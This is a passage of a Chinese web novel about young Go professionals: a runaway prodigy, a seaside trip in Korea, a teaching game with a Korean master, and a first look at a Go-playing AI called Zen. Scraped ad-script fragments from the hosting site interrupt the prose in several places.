谢砚之打断她:“正是你说的这些天赋,这些机会,把我的人生死死禁锢,无法挣脱。我没有过自己的生活。所有人都觉得我就该下一辈子围棋——你也要和他们一起来绑架我吗?” 庭见秋听出他话语里的哀切,低声陈述:“你已经不喜欢围棋了。” 谢砚之默然。 庭见秋一向敏锐,能察觉到这一点,他不意外。 “人做着自己喜欢的事,把整个人生投入进去的时候,他们不会说这是绑架。” 谢砚之勾了勾嘴角,笑得勉强,缓慢而小心地发问:“见秋,我从来没有朋友,你是第一个。我想问你,你是和身为棋士的谢砚之做朋友,还是和我,一个离了围棋的光环一无所有的谢砚之,做朋友?” 她蹙眉摇头:“这个问题并不成立……” 谢砚之又自嘲一笑:“算了,没关系。我今天是来找你道别的。” 庭见秋喉口一紧:“道别?你要去哪里?” “我打算找个没人认识我的地方,休息一阵子。可能会回来,也可能不会,还没想好,走一步看一步吧。”他扬起脸来,绽出一个释然的笑,“再见,见秋,如果我回来,我答应你,一定和你下完这局棋。” 庭见秋沉默地点了点头。 同为棋士,她明白,棋士的承诺重如千钧。 * 谢砚之无声无息地离开了华国棋坛。 几场临近的国家级赛事发出公告,称谢砚之棋手弃赛。棋迷粉丝私下议论纷纷,揣测不已:为什么谢砚之不在职业生涯顶峰时刻多打几场比赛,反而表现得如此消极? 此外,谢砚之是否还会作为江陵长玫的主将,参与六月的围棋乙级联赛,也成未知数。 江陵长玫新成立不久,就敢公然叫板京城华一,火药味十足,引来无数看戏棋友,巴望着江陵长玫能在六月的围乙一举出线,在第二年的围甲之中对阵京城华一。 可江陵长玫,出走一个谢砚之,还剩谁? 公认的“花瓶”言宜歌吗? 还是要指望退出一线二十余年的谢颖,和一群年富力强的男棋手对弈? 又或是从没下出过成绩、被京城华一接近雪藏的蒋阳成,还是籍籍无名甚至没有职业棋手身份的庭见秋? 江陵长玫还签了几个小棋手。那些连凑数的都算不上,绝无可能参加围乙。 有棋友甚至开玩笑唱衰江陵长玫:不如谢颖就签了仇嘉铭算了,好歹一支棋队里有一个能拿得出手的。 谢颖并不回应。那些说话难听的,她自有一支专业的公关团队来料理。她做的唯一一件事,是接受了仇嘉铭七段的第一次公开挑战,登录她多年不用的弈世网账号,在仇嘉铭的直播中,以一百九十二手帅气屠龙,凶悍不减当年。 仇嘉铭惨烈输棋,照例在直播间鬼哭狼嚎好一阵。 下播后,仇嘉铭收到谢颖的消息:“谢谢嘉铭。” 谢颖知道,仇嘉铭本不必急着挑战她,他大可以再多练习一阵,等更有把握了再来。 仇嘉铭分明是想在谢砚之出走、江陵长玫身处风口浪尖的当下,宁愿自己出丑,也要让谢颖证明自己的能力。 “谢老师,再多给一次机会可不可以?” “哈哈,那不行。” 五月中,围乙在即,江陵长玫的训练室还没有布置好,谢颖终于坐不住了。哪怕是世界冠军女九段,也无法战胜磨洋工的装修工人。趁言宜歌应邀去朝国参加世莲杯职业女子快棋赛的机会,谢颖索性给全队订了去朝国的机票,包了两排经济舱,一起去朝国首尔围棋道场踢馆。 蒋阳成没出过国,飞机起飞前,忐忑得手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 汗把登机牌都给浸湿了:“谢老师……踢馆,真的假的,我吗?” 言宜歌安慰道:“首尔围棋道场也不是个个都是谢砚之这种怪物。” 蒋阳成:“噢……” 言宜歌欢快地:“也就是我这种平平无奇的水平吧。” 蒋阳成震惊地看了一眼平平无奇但为了还债一个月内拿了三个中等赛事冠军的言宜歌,言宜歌已在脖子上套了草莓熊颈枕,舒舒服服地躺下眯眼等待起飞了。 江陵长玫一行人抵达首尔后,首尔围棋道场的韩智闵校长身在外地,无法亲自出面,派了道场里精通华语的围棋老师来接应,给江陵长玫一行八人,在道场内安排了几间宿舍。简单整顿休息,谢颖便和朝国的老师商量踢馆挑战的赛制: 擂台赛,快棋制。首尔围棋也挑出八名水平出挑的棋手,依次轮流作战。败者淘汰,胜者守擂,等待对方下一名棋手的挑战,直到有一方所有棋手全部淘汰,另一方获胜。 言宜歌两天后有比赛,所以作为江陵长玫的先锋,率先出场,一下午漂亮地连胜两局,全队睡了个舒坦觉。 第二天上午,首尔道场派出申材英二段,小男孩很客气,嘴上一口一个撒娇似的“姐姐”,把言宜歌中腹自恃漂亮的棋,堵成了愚形。言宜歌黑着脸下桌,收拾行李去世莲杯的比赛场地。 申材英坐镇擂台,连下江陵长玫五员棋手,大有一杆清台的阵势。 全队折损得只剩庭见秋和蒋阳成,都愁云密布,长吁短叹,不知道短暂的朝国之行是不是就要断送在一个小男孩手里。 谢颖冷静布阵:“庭见秋,你上。” 庭见秋应战。 一开始申材英对庭见秋的态度,就和对言宜歌一样好,满口都是言宜歌翻译过、庭见秋也记住了的“姐姐”。下到中盘,小男孩称谓变了,挠着脑门上几根短茬黑发,边下棋边嘟嘟囔囔。 庭见秋记下申材英改口之后的新称谓,赢棋之后,掏出手机,语音翻译。 是“大婶”。 庭见秋:…… 刚刚那盘棋还是手软了。 接下来两日,庭见秋守擂。她计算速度快,形势判断直觉准确,再加上曾有过一日几十盘网棋的淬炼,对这种高密度快棋,手到擒来,连赢五盘,打到首尔道场只剩最后一个光杆司令,终于体力不支,败下阵来。 蒋阳成接替庭见秋,继续与朝国棋手作战。 庭见秋没有精力观棋,抄了个没人的小道折回宿舍补觉。 走到半路,突然有一个揉得潦草的纸团,被扔到她的脚边。她捡起,展开,纸面上抄录着她方才落败的棋谱。几步她粗于计算的棋,被标红,注明更合理的下法。 她扬起脸,四面看了看。 没有人。 她心下了然地将褶皱的纸张,用手掌珍惜地压平,折成四四方方、口袋大小,塞进兜里。 晚上,捷报传来,蒋阳成半目胜最后一名朝国棋手,江陵长玫踢馆成功。谢颖为庆祝,在道场附近找了家烤肉店,请客吃饭。 言宜歌还在比赛场地附近的酒店里,没办法赶过来白吃白喝,气得拉黑了所有给她传烤肉照片的人。 大功臣一号蒋阳成没有出席。他和朝国棋手下急眼了,两人一下棋桌就约去复盘。语言不通,就开着翻译器聊,说一句翻译一句,一点都不怕麻烦。 于是所有人都来灌大功臣二号庭见秋。 庭见秋以肉代酒,吃了十二成饱。 正吃着,谢颖坐到庭见秋身边,闲絮似的开口: “我还记得我十年前来朝国,陪砚之去芝莲市比赛。芝莲市滨海,我只顾着让儿子好好比赛,都没有带他去海边玩过。” 庭见秋往嘴里喂紫苏叶包五花肉的手一顿:“谢老师,您这个话题切得稍微有点生硬了。” 谢颖眯眼一笑,眼下有些微醺的红晕:“有吗?哈哈。我是想说,这几天可以带你们几个孩子去海边玩玩……” 庭见秋戳穿:“我知道谢砚之就在首尔道场。我会去找他的。” 31.出去玩 见庭见秋知道她的意图,谢颖只好坐正,面上酒醉的微红也祛了半分,语气缓慢而庄重: “这孩子在云松杯的时候,对我说了些很不像他的话。后来我想,我之所以觉得这不像他,是不是因为我从来只了解我愿意了解的那部分他,而忽视了全部的他呢?” 庭见秋想起谢砚之用悲哀的语气,问她愿不愿意和一个离了围棋的光环一无所有的谢砚之做朋友。 她现在才明白,那时的谢砚之在恳求,求她发现他多年来一直被掩埋于地下的一部分,拍净他身上的尘土,告诉他即便他不是谢颖塑造出来的艺术品,媒体眼中完美的棋手,她依旧愿意和他做朋友。 但她没有在第一时间予以回应。 她任一颗敏感脆弱而又高悬的心,重重坠在了地上。 “后来他没跟我打招呼就离开了岳州。手机也不接,微信也不回。但这孩子长这么大,社会关系非常简单,除了下棋什么都不会,就算是端盘子,他还要娇气地嫌人家围裙不好看。他能去哪呢?也只有首尔围棋道场,他以前学过五年棋的地方。 “他想躲起来,总有办法。我只有找他感兴趣的东西,引他上钩。” 庭见秋问:“所以,您带我们来首尔道场下棋,是下给他看的?可谢砚之说他不想再下棋了,您怎么能保证他会被吸引呢?” 谢颖笑:“只是试试。主要还是带你们来练棋。更何况……我相信你的棋。” “我的棋?” “对。一种很有生命力的下法,顽强,勇敢,生生不息。每一颗棋子经过你的手,都沾染了你的灵魂,如野草籽一般,在棋面上落地,生根,成长,自然繁衍出变化。你这样的棋手,是无法在棋盘上被打倒的。” 庭见秋被谢颖真诚注视的目光,激起一阵剧烈的心跳。 “你的棋是有感染力的,谢砚之不可能不被你的棋感动。” 她说准了。 庭见秋轻抚口袋里那张叠得规矩方正的棋谱。 * 翌日,日上三竿,谢砚之窝在韩智闵特批单人宿舍里睡懒觉。 单人宿舍小得可怜,摆下一张床之后,连张棋桌都摆不了。韩智闵告诉他,这是给棋院里的工作人员住的,他要是能过房间里连张棋桌都没有的日子,收留他一阵子也不是不可以。 谢砚之笑说求之不得。 他问道场里的小棋手借了一个平板支架,昼夜颠倒,四天看完了五季《绝命毒师》,又点开《权力的游戏》。饿了就照着外卖广告上的电话,拨过去订单。 直到某日出门,听到有韩国棋手用蹩脚中文发音说着:“庭见秋棋士。” 谢砚之不信庭见秋会又一次,刻意来找他。上一次,在岳州,他令庭见秋失望过。 没有人会无缘无故地给他第二次机会。 他穿着道场的工作人员服,用口罩遮住脸,又压低显眼的身高,手握伪装用的道具,不住地从棋室窗前经过,往庭见秋的棋桌上轻瞟。 庭见秋连下了两天棋。两天里,他来来回回,把棋室门前的走廊打扫得干干净净。 为了看棋,他连之前昼伏夜出的作息都改了。擂台赛终于比完,他报复性补觉,反正没人管他,他睡得昏沉。 直到有人敲门。 他知道,韩智闵不在首尔,这里没人认识自己。翻个身,不理。 门外的人也不知道哪里要来的钥匙,竟然径自开锁,灼眼的亮光从门外照入的瞬间,是带着惊异和薄嗔的一声: “我的天呐小燕子这都几点了你还在睡——” 谢砚之瞬间如冷水泼面一般醒了个透彻,第一反应是拿被子罩住头发压得不像话的脑袋,又忍不住探出一只眼: 女生两手叉腰,穿着有首尔道场印花的白T恤,长卷发披散着,屋外晴光勾勒出她毛茸茸、亮莹莹的一圈轮廓。 上次见她在生气。 这次见她还在炸毛。 谢砚之无奈地缩在被子里:“你怎么不经过我同意就进来了?” 庭见秋一副理所当然的样子:“我如果不直接开门,你会让我进吗?” 也有点道理。 “你怎么找到我的?” 庭见秋认真答:“我一间一间敲过去的。男生宿舍。” 她让手机上的翻译软件,用朝语读“你们知道华国棋手谢砚之在哪个房间吗”,每敲开一个房间就放一遍。 有男棋手不堪其扰,向韩智闵诉苦,韩智闵听了哈哈大笑,不仅让男棋手告诉庭见秋房间号,还嘱咐管理人员把备用钥匙交给她了。 谢砚之认命:“好吧。你见到我了。你出去,我要睡觉。” 庭见秋蹦到他床边,聒噪地:“出去玩出去玩出去玩!” “我说了我不下棋了。”谢砚之卷起被子堵住耳朵,在被窝里蜷得更扭曲。 庭见秋直接低下身子,用手掌去搡被子缠成的人形长茧。 隔着薄被,她手掌柔软温热的触感格外鲜明。谢砚之身子一颤,从被子里飞快钻出一只手,用力捉住她不老实的手腕,脸上烧得厉害,气息也有些不匀,嗓音里带了不认真的怒意: “你干什么?” 庭见秋不依不饶:“不找你下棋。叫你出去玩。你不是想要一个不下棋的朋友吗?你好小燕子,我是来找你出去玩的朋友。” 谢砚之心念微动:“去哪玩?” “去海边。去芝莲的海边。” * 抵达芝莲时,正是这座海边小城难得的好天气。海雾消散,天海明净得像两块异色的玻璃相接,偶尔有胖乎乎的云朵低低缀着,在明亮的地面上映出一抹阴影,也很快被剧烈的海风吹至天际。 芝莲建在海边高地之上,红顶小房层层叠叠。道路上下起伏蜿蜒,尽头与海面相接,走在人行道上,总有一种用力向前跑就能坠入海中的错觉。 空气里满是海藻的清新气味。 在前往芝莲的特快列车上,谢砚之教了庭见秋几句常用的朝语,庭见秋乖乖默念一路。 下车之后,谢砚之先去附近的商场里买了一台一次性胶卷相机。这是一种只能拍21张照片的相机,胶卷冲洗出来之后便作废。谢砚之非常慎重,决不允许庭见秋穿着印花劣质的白T恤配大裤衩,出现在他宝贵的胶片里。 庭见秋不好意思地向他展示了行李箱。 一箱子的黑白灰,宽大T恤和大裤衩,主打便宜结实,五十元三件,洗不褪色穿不烂,是可以用来当传家宝的优良品质。 谢砚之见不得丑衣服,差点昏厥在芝莲市的大街上,在庭见秋的抗议声中,揪着她进了路边的女装店。 有谢砚之在,导购直接下岗。谢砚之挂着温柔和煦的笑容,不容置疑地让店里的工作人员去忙自己的,轻车熟路地在几排衣架之间穿梭。庭见秋认清自己陪玩的身份,任他捯饬,最后抱了一怀的大包小包,身上也换成一条水蓝色的修身吊带裙,衬得她莹白得像一段月光。临出门,谢砚之还从架上取了一个荷叶边的休闲编织帽,顺手扣在她被试衣服时的静电燎得乱糟糟的脑壳上: “一起付。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢砚之用朝语和收银员交流,掏卡付款一气呵成。 庭见秋气呼呼地调试脑袋上扣歪了的帽子:“你要是这么有钱,就给小歌和阳成捐点。” 谢砚之笑眯眯:“那不行。他们得凭自己的本事,证明他们值得跳槽到更好的队伍里。” 语罢一顿,又以做好事必写日记的雷锋精神,补了一句:“不过阳成家庭情况特殊,他妈妈的治疗费用,我妈一直垫着。不是白给,要还的。” 晚餐是肉肉盛宴,在谢砚之精挑细选的韩餐店。烤五花、生牛肉、泡菜猪肉、炭烤八爪鱼。庭见秋吃得没了声,每当吃到喜欢吃的菜,一双明亮的眼睛就惊喜地大睁,向谢砚之疯狂比划好吃好吃。谢砚之端出相机,庭见秋捧起盛着生牛肉与炒饭拼盘的铁质餐盘,比在脸边,示意这是一个比脸还大的盘子—— 谢砚之:“秋秋,笑一下。” 按下快门的一瞬,庭见秋冲他绽开一个亮晶晶的灿烂笑容,两眼弯弯,露出两枚小虎牙,颊边还挂着一抹酱汁。 饭后,沿着海岸线散步。日暮时分,天光黯淡,霞光铺至海的尽头,海面上浮动着暗沉的暮色。晚风柔和。海滩已过了人群最熙攘的时候,只剩下一些三三两两散步的身影。 庭见秋第一次来海边,很新奇,也不怕湿了鞋袜,追着忽起忽落的海浪走。 脚底砂石细软,庭见秋不小心绊了一步,差点被海浪追上,谢砚之眼疾手快,伸出手臂,扶在她腰上很轻地往外带了一把。 鞋没湿。 庭见秋低头理微微翘起的帽檐:“谢谢啊。” 手腕上的智能表突然震动起来。 她肉眼可见地僵了半秒,随后便镇定抬手,把表给掐了,又垂下手,沿着海浪接着散步,当什么都没发生。 谢砚之:“这是什么?心率警报?” 庭见秋语气如常:“对。刚刚跑了两步。” 谢砚之了然地点头:“这样啊。” 又补了一句:“那看来我这表送得不错。跑两步心率就异常了,你确实虚,需要个表时刻监测着。” 庭见秋:…… 散至海滩尽头,是一处礁石堆成的灯塔半岛,正迎着夕阳,很适合拍照。 谢砚之跑来跑去、蹲下站起地给庭见秋找角度,趁她笑得自然的时候偷偷按快门。 正好有一位路人大爷经过,谢砚之小跑过去,用朝语请路人给自己和庭见秋拍合影,路人热情爽快地答应了,谢砚之又跑到庭见秋身侧,倚着灯塔边上的铁质护栏,一手撑在庭见秋身后,为了适应她的身高,微微屈身。庭见秋的后脑勺正好挨着他的肩膀,能听到他方才紧跑两步之后略有急促的呼吸声。 他穿着一件淡蓝色短袖开衫,单薄的衣料在暮风中如蝶翼一般轻颤着。在海边玩了半天,他身上也沾染了海风淡而令人心安的气息。 路人拍好,朝谢砚之招了招手,谢砚之取回相机,和路人聊了几句,路人大笑。 庭见秋听不懂:“你说了什么好笑的话?” 谢砚之专欺负语言不通的外国游客:“不告诉你。” 路人都走出去两步,此时又背着手回来,用流利的华语,对庭见秋说: “我说,你们俩拍出来的照片会很漂亮。他说,是因为你漂亮。” 谢砚之背对着庭见秋捣鼓相机,装聋。 霞光蔓延到庭见秋脸上,如火燎原。她似突然听不懂“漂亮”二字,有些诧异地看着热情的路人。 “哈哈,想不到棒子也会说华语吧!不用谢啊年轻人。” 32.巴别塔 谢砚之在海边订了两间民宿,和庭见秋一起在海边慢慢悠悠地玩了两天,把附近口碑好的餐厅和甜品店,吃了个遍。 江陵长玫队里的其他棋手,都在首尔围棋道场里,跟着异国棋手集训。唯独庭见秋在海边闲逛。一开始她难得放风,玩得兴奋。一天没摸棋,她又忍不住心痒,吃饭的时候也在摆弄手机。 谢砚之挑食严重,只吃清淡口的食物,大半的菜都吃不了,早停下筷子来等她。见她玩着手机,吃得心不在焉,谢砚之捉弄地夺过她的手机: “和谁聊天?” 庭见秋急忙伸手抢:“哎哎读秒了!读秒了!” 她竟然在吃饭的时候和仇嘉铭下网棋。 “小燕子你快把手机还我,我不能输给仇嘉铭,就这么输给仇嘉铭太丢人了!” 谢砚之无奈:“你吃,我替你下。” 庭见秋老老实实地埋头吃饭。 此时才刚百手。庭见秋拿仇嘉铭练她的布局,形成谢砚之从来没有见过的棋形,盘面上有三处棘手的对杀。谢砚之下了几步,不得不承认仇嘉铭进步不小,而且…… 这局棋真的很有意思。 下了几十手,他发现仇嘉铭一逮着空就在右下角聊天室里塞消息: “哇秋秋下手这么狠啊!” “这一步!就算是秋秋也不得不承认我的棋绝妙吧!” “哈哈哈哈秋秋你怎么棋风好像不太一样了!对付我还用得着什么新招啊!” 谢砚之略一挑眉。 秋,秋你个大头鬼。 把头埋进碗里的庭见秋都察觉到气氛略有不对,紧张地抬眼瞅了一眼谢砚之僵硬的笑脸。不知道是谁又惹他了。她只好学鸵鸟,又把头埋回去。 弈世刚刚上线了聊天框内发语音功能。 谢砚之长按小话筒,语气略硬:“老仇,我是谢砚之,秋秋在吃饭。” 一声“秋秋”语调平板,从齿间发出,咬字极重。庭见秋如坐针毡,对着一盘子肉,都罕见地觉得吃不下。 正在直播的仇嘉铭看到语音消息,兴高采烈地对着观众们: “家人们!这是秋老虎第一次给我发语音。我说秋老虎是女生,你们都不信,说女生怎么可能下棋这么凶,我终于能向你们证明——” 点开语音条的那一瞬,仇嘉铭呆住了。 弹幕: 【我去?秋老虎是谢砚之?】 【不不不不楼上认真听语音,是谢砚之在帮秋老虎下棋……】 【秋老虎?!认识谢砚之?!】 【谢砚之不是跑路了吗!!失踪人口回归!!】 紧接着又一条语音: “你要是连我都下不过,挑战我妈呢,就别想了。” 【好强的攻击性……爱上小谢新人设了……】 【谁能救救老仇,我觉得他快碎了。碎成一大块一大块一大块一大块的。】 等庭见秋终于夹着紫苏叶和泡菜,吃完谢砚之给她烤好的五花肉,谢砚之面上挂着轻快餍足的笑意,把手机还给她。 庭见秋对着手机屏幕上中盘胜利的结算界面瞪大了眼:“你和仇嘉铭结什么梁子了?” 杀得干干净净。完全不像谢砚之一贯温柔绵密、暗里藏针的棋风。 谢砚之语气很淡:“多亏你开局开得好,我顺着你的棋下的。我和老仇哪有什么梁子?” 第三日,庭见秋和谢砚之在酒店吃早饭的时候,顺便把这几天的行程总结一遍:该吃的都吃了。该打卡的都打卡了。海边逛了。游艇坐了。摩天轮搭了。烟花玩了。纪念品买了。——“还有什么你小时候想玩却没玩的项目吗?” 谢砚之一扬眉:“你怎么知道我小时候想来芝莲玩?” 坏了,说秃噜嘴了。 谢砚之一脸好笑:“所以是我妈叫你来陪我玩的,是不是?” 庭见秋赶忙摆手辩解:“是我想玩。” 又补一句:“想找你一起玩的。” 谢砚之神情不变,始终是温和礼貌得挑不出错处的笑,庭见秋却辨识出,他似乎心情很好。 “谢谢你,秋秋。”他垂下眼,淡淡一笑,“我玩得很开心。” 如果有一个传声筒,可以和过去对话就好了。 他想和伤心离开芝莲的十六岁谢砚之说:再等十年,等她再一次出现。 一切都会好的。 * 芝莲没有机场。庭见秋要赶在学校组织的硕士毕业答辩之前回学校,得先坐同样的特快列车回到首尔,和江陵长玫的大部队汇合,再先俱乐部的其他成员一步,坐飞机直抵江陵。 这次回去,谢砚之不再藏着了,大大方方和错愕的队友们打了个招呼,最后对着谢颖叫了声:“妈。” 谢颖抬脚,往他小腿上很轻地一踢:“臭小子。” 话音里带着低低的哽咽。 她不意外庭见秋能把谢砚之带回来。但她没想到,重新出现在自己面前的谢砚之,瘦了,又晒黑了,笑时开朗真诚,表情变得丰富。庭见秋带回来了一个她从来没有见过的谢砚之。 庭见秋本想加入江陵长玫在首尔道场的集训,却被谢砚之单独叫出来: “我师父想见你。” 庭见秋知道,谢砚之一生可称师父的,只有两个人。一是蒙师赵良甫,培养他至十二岁定段。二是朝国“棋圣”韩智闵。正是在首尔道场受训于韩智闵的五年间,谢砚之棋风定型,炼成独树一帜的控盘能力。是韩智闵亲手锻造了如今的谢砚之。 韩智闵在首尔围棋道场深处,他专属的幽静棋室之里,端坐在梨花木椅之上,等待庭见秋。 他曾是东亚围棋第一人。在他围棋职业鼎盛的几年间,朝国在国际赛事上占据不败之地。谢颖第一次也是唯一一次入围森田杯决赛,便是被韩智闵斩于马下,夺去冠军之座。 彼时能与他一战的,只有日国的结城介九段,和华国的元修明九段。他在三人之中,年纪最长,体力处于劣势,最早失去竞争之力,在首尔开设道场,教书育人。结城介九段被称为“最后的本因坊”,代表日国围棋盛世的最高成就,在年近五十之际,查出结肠癌,几次病危,健康状况不足以支撑他征战国际赛场。当年的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 鼎足三人,如日中天的,只剩元修明。 庭见秋由谢砚之带入棋室之内,对着韩智闵,恭敬地一鞠躬。 韩智闵起身回礼。 韩智闵起身时,庭见秋才发现他个头两米左右,高壮得吓人。幼时学棋时,她听说过朝国棋坛有一“巨人”,本以为这个绰号是赞美他的棋力,没想到竟然是对外形的实指。 庭见秋在韩智闵对面入座。 两人之间摆放着韩智闵为自己的身形特制的棋具。他身形高大,手指也相应地更粗,为了不在下棋时碰歪其他的棋子,他只好定制了更大的棋盘和棋子。 谢砚之两边分别介绍之后,韩智闵面容和善地请庭见秋先落子,之后便告诉谢砚之,他可以先离开了。 谢砚之一步三回头地出了门。 棋圈有这样的神话故事:围棋又名“手谈”。语言不通的棋手,可以通过围棋交流。 但神话终究不是现实,正如巴别塔并不存在。现实之中,如果他不在一旁为庭见秋与韩智闵做翻译,他不确定他们两个人能不能顺利对话。 他就在棋室附近的一条木质长椅上,下载庭见秋在玩的弈世APP,注册一个匿名的账号,随便看看。如果老师有需要翻译的地方,他可以随叫随到。 一整个下午,他在屋外候着,只见到庭见秋出来,去了一次卫生间。 谢砚之想问问庭见秋下得怎么样,庭见秋步子很急,只是飞快地摆摆手,意思是没空跟他说话。 他又悻悻地坐回去。 弈世APP可以展示用户最近的二十张棋谱。有秋老虎的棋看,不算无聊。只是对弈对象一栏,总是仇嘉铭那张凑近了自拍的傻笑大脸,看着令人心烦。 等到了天色渐暗,吃完晚饭的棋手陆续回寝室休息,棋室里还是没动静。 言宜歌比完“世莲杯”,取得亚军。最后一盘棋输得糊涂,她一整天脸色不愉。她听说韩智闵回道场,立即带着亚军奖牌,来找老师问好,在棋室门口,碰上捧着手机正琢磨棋谱的谢砚之,本就难看的脸色雪上加霜: “你怎么在这啊?好没想象力的离家出走,也太辜负我庆祝你退圈放的三十串炮了。” 谢砚之淡淡回应:“你还有钱买炮啊。” “……” 尴尬沉默半晌,言宜歌又问:“老师在棋室里吗?” “不在。”他漫不经心地随口一答。 言宜歌“哦”了声,正转身要走,突然回过身来,怒道:“狗东西骗我?我都听见老师的笑声了。” 谢砚之也听到了—— 有笑声。韩智闵的笑声爽朗粗犷,似洪钟大吕。庭见秋则笑得低柔清脆,像是觉得在前辈面前放声大笑不妥,刻意压低了声音。 言宜歌讶异:“见秋姐也在?他们竟然能聊到一块去……不对,他俩怎么聊天?打手语?” 好像海市蜃楼在现世降临。水变成酒,红海分裂。 那些他曾经深信不疑,最后又破碎的,在这一刻,在他眼前成真。 谢砚之轻声: “不……他们,在下棋。” 33.Zen 第二日,庭见秋独自回国。 临行前,韩智闵将她送至安检口,用那只大得可以罩住一个脑袋的巨手,轻轻拍了拍庭见秋的发顶,长而柔软的卷发被压下,又在韩智闵移开手的瞬间,韧韧地蓬起。 庭见秋仰起头,冲韩智闵眯眼一笑。 两人昨日初识,将短暂的数小时相会,都用在下棋上。韩智闵下的是指导棋,通过与庭见秋对弈,引导她发现自己行棋的短板,纠正不足之处。韩智闵棋风稳健细腻,悠游自如,行棋是与外形迥异的轻灵潇洒,如凌波微步,使庭见秋一向引以为傲的攻击,形如长风过岗,难以撼动山间巨岩。庭见秋的棋,带有一股怪异不驯的蛮力,也让韩智闵啧啧称奇。 如果不是谢砚之深夜闯进棋室,强硬地要求健康状况堪忧的一老一少立马封盘睡觉,他俩能下个通宵,第二天黑着眼眶把棋盘搬到机场,趁候机的时候再来一盘。 * 五月底,江陵大学研究生毕业答辩陆续启动。 答辩前一晚,庭见秋没做什么准备。把正装熨一遍,做了个白底黑字的PPT,又在电脑上下了盘棋,早早睡下。心态稳得像重型越野。 答辩也顺利得不需要什么准备。 在庭见秋掏出毕业论文的时候,她就已经赢了。——长达十万字的硕论,装订成册之后是厚厚一本蓝皮书,拿在手里都费手腕,开题与中期,卷得同专业学生,吃不下,睡不着,不得安宁。 答辩结束后,罗佩佩约了庭见秋和几个同学一起吃饭,庆祝解放。 暮春,江陵大学春树如烟,梧桐成荫。一丛丛花开得热闹,遍野欲燃。这是大学校园最具有生命力的时节。除了还在为毕业论文焦头烂额的毕业生,半死不活地游荡在寝室和图书馆两点一线之外,每个行走在校园柏油路上的年轻人,都有一股没有受过社会毒打的活力。 校门口,长相清俊高瘦的男生,跨着一辆银色自行车上,停在路边,姿势拽拽的,穿着一件打理得不见一丝褶的白衬衫,高扬起手,冲人堆里的庭见秋打招呼: “秋秋,出去玩。” 庭见秋和她的同学们都是一愣。 很快,有同学反应过来,开始起哄: “庭见秋什么时候认识的盘靓条顺小学弟呀!” “我们的铁树终于开花了~” 庭见秋斜了个眼刀过去:“这是我朋友。” 语罢,快步到谢砚之身边,微讶地:“你来怎么不跟我说一声?” 谢砚之不好意思地摸摸鼻子:“本来想来旁听你答辩的。结果不小心睡过头了。” 在朝国昼伏夜出的作息还没调过来。 “……好在还是赶上了。” 他着急赶来,额上蓄了一层薄汗,被正午暖阳映得亮莹莹的,笑意柔软明朗。像小猫敞开的肚皮。 庭见秋被他勾得一笑:“答辩有什么好听的?” “好奇啊。你毕业论文的题目是什么?” 庭见秋说了一串,语速飞快。 谢九段宕机。 庭见秋好脾气地再说一次。 “……打扰了。总之,恭喜解放,秋硕士想不想出去玩?”他背过手去,纤长的手指很轻,略带显耀地,拍了拍自行车的铁质后座。 庭见秋指了指身后她的同学们。一群抻长了脖子打量他们二人的吃瓜群众。 “我和同学有约了。” 罗佩佩做作地大声:“哎呀,餐厅说一桌最多只能坐十二个人,我们多了一个,这可!怎么办呀!” 谢砚之复读:“多了一个呢。” 庭见秋:“……我是个有原则的人,讲究先来后到。” “我带你去见个棋手。” 他知道要钓什么鱼,就要相应地挂什么饵、抛什么钩子。 庭见秋可耻地屈服:“走。” 谢砚之偏过头,对罗佩佩感激地眨眨眼。佩佩攥右拳,用虎口庄重地捶了捶自己的左胸。做兄弟,在心中,事了拂衣去,深藏功与名。 “强吗?” 谢砚之认真地形容:“不太稳定。有时候会抽风,下得乱七八糟的。但有时候又强得让人觉得很绝望。” 有意思。 上车之前,庭见秋要他稍等一下,快步跑到方才起哄的同学那里,在一个女生左肩处,给了一记直拳。她下手轻,女生很配合地假装受伤。庭见秋有仇必报,得胜回朝,骄傲地扬着下巴,笑容又坏又得意,两枚小虎牙晶亮。 她躬下身子,用掌心理顺正装下裙,小心地坐在谢砚之后座。 谢砚之一脸好笑:“你干嘛欺负人家?” 庭见秋控诉:“她说我是铁树。” 身后,女生的左手臂,很自然地环上谢砚之腰间。紧接着,她的上半身,像是一朵被日头曛暖了的云,被风轻轻一推,挨近。谢砚之脊背略一僵硬。 搁在自己腰间虚抱着的手臂,白得在晴日之下盈着光。一颗棕色小痣,缀在腕上关节凹陷的细窄之处,像一粒红糖。 很软。不是铁树。 * 车停在人工智能学院。谢砚之轻车熟路,径自进门,上电梯,又在走廊上拐两次,在尽头一间工作室门前,敲两下门,不待回应,按下门把手,推门进去。 和学院建筑的简朴无华不同,这是一间科技感十足的实验室。各色庭见秋叫不出名字的昂贵设备,堆在暗色木质长桌之上,荧幕上闪着黯淡的紫光,迎面左侧墙面上是几排书架,堆满各种语言的前沿研究著作。早就听说江陵大学的人工智能研究院是资金重点投入项目。名不虚传。 正是午休时间,三五个研究员或搬出折叠床,在实验室正中就地躺倒,睡得正香,或趴在桌上一动不动地午休,听到门口有动静,挪开胳膊撑起眼睛看了一眼,又原样缩回去,气息奄奄地接着睡。 只有孙建民还精气神十足地测试着程序,见谢砚之进来,电脑前一丝不苟工作的脸,绽出一个和煦的笑: “第一次见你带朋友来。” 谢砚之向庭见秋介绍:“这是我爸,人工智能学院的孙建民教授。” 庭见秋显然有些辨不清状况,神情一滞,赶忙躬身问好:“孙教授您好,我是数学系研三的学生庭见秋。” 孙建民笑说知道,谢颖和砚之经常提起她,终于有机会见到了。 他笑面与谢砚之三分相似,说话和气,气质文雅,身量瘦削颀长如一柄古剑。 “爸,我带见秋来看看Zen。” 提到Zen,孙建民面露兴奋,他将谢砚之与庭见秋引向工作室右侧一见小门,拿出钥匙解锁,向外拉门,露出机房一角,自豪说: “请。庭同学是第一次来,介绍一下,这就是Zen,围棋人工智能。” 庭见秋步子不动,怔立在机房门口,看向谢砚之,满脸错愕:“你说的棋手……是电脑?” 谢砚之点头。 “电脑也能下棋?” 在她自幼接受的围棋教育里,围棋一道,最大的特点是玄妙,需要棋手的颖悟,从抽象的棋形棋理中,抽绎出最优解。和“计算力”同样为棋手所看重的,是“棋感”,说不清道不明的,唯有棋手能够捕捉的一丝感受。 谢砚之在她肩头很轻地拍了两下:“试试就知道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); 